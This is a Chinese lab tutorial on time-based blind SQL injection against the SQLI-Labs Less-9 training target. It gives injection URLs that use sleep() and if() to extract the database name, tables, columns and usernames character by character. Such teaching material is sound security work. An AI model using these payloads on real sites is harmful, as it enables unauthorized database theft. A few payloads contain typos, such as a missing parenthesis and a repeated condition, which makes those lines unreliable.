Web安全-基于SQLI的SQL时间盲注
【实验目的】
通过本实验理解SQL时间盲注漏洞的定义方法,掌握基于SQL时间盲注的手工注入方法,熟悉SQL时间盲注存在的原因,掌握SQL时间盲注的防护方法。
【实验环境】
目标靶机:SQLI平台Less-9
【实验原理】
1.为什么使用延时注入
(1)部分网站没办法 union select 联合查询方式注入
(2)部分网站没有输出显示,只能通过延时判断;
2.时间盲注的SQL语句原理
(1)sleep(n)语句:使数据库在暂停n秒之后再将搜索结果输出;
(2)if((条件),m,n)语句:若条件为真,返回m;若条件为假,返回n;
3.时间盲注常用函数
length(database())语句:返回当前数据库名长度。
mid(database(),m,n):返回数据库名的第m位之后的n位。
【实验步骤】
第一步 登录SQLI-Labs平台
第二步 登录Kali平台,启动Firefox浏览器访问SQLI-Labs的less-9
在浏览器地址栏中输入http://【靶机IP】/Less-9/,访问SQLI-Labs的less-9。
第三步 判断注入点与注入类型
说明:本实验Kali平台的Firefox浏览器中已预安装Hackbar插件,可使用快捷键F12启用。后续的实验步骤中,可以选择在Hackbar中来执行,或者直接在浏览器的地址栏中执行。
(1)http://【靶机IP】/Less-9/?id=1' and length(database())>0 %23
或
http://【靶机IP】/Less-9/?id=1' and length(database())>0 --+
页面正常,没有反应
(2)http://【靶机IP】/Less-9/?id=1' and length(database())<0 %23
或
http://【靶机IP】/Less-9/?id=1' and length(database())>0 --+
页面正常,没有反应
同样id=1'或id=1"的结果仍然与正常访问一致。
(2)采用sleep()函数进行测试
http://【靶机IP】/Less-9/?id=1' and sleep(10) %23
或
http://【靶机IP】/Less-9/?id=1' and sleep(10) --+
响应明显变缓慢,响应速度如下:
对比没有使用sleep()函数时的状态如下:
得出结论:存在时间盲注。
下面基于时间盲注进行数据库信息获取:
第四步 获取数据库名的长度
http://【靶机IP】/Less-9/?id=1' and if((length(database())=8),1,sleep(5)) --+
http://【靶机IP】/Less-9/?id=1' and if((length(database())=7),1,sleep(5)) --+
得出结论:数据库名长度为8。
第五步 探测数据库其他信息
(1)判断数据库名
http://【靶机IP】/Less-9/?id=1' and if(ascii(substr(database(),1,1)=115,1,sleep(5)) --+
数据库名的第一个字母为s(ascii为115),判断成功直接返回,判断错误的话是暂停5秒。
(2)获取表
http://【靶机IP】/Less-9/?id=1' and if(ascii(substr(database(),2,1))=101,1,sleep(5)) --+
然后
http://【靶机IP】/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(5)) --+
email表的第一个字母为e(ascii为101),判断成功直接返回,判断错误的话是暂停5秒。
以此类推,我们可以得到所有的数据表:emails,referers,uagents,users
(3)获取列
http://【靶机IP】/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5)) --+
猜测users表的第一个列的第一个字符是i。
以此类推,我们得到列名是id,username,password
(4)获取列值
http://【靶机IP】/Less-9/?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5)) --+
猜测username的第一行的第一位为D。
按照这种思路依次来获取全部数据库信息。
【思考与总结】
通过本次实验,成功实现了利用SQL时间盲注漏洞获取了数据库的表单信息,掌握了SQL时间盲注漏洞的手工攻击方法,在此基础上可以深入理解对其的防护策略。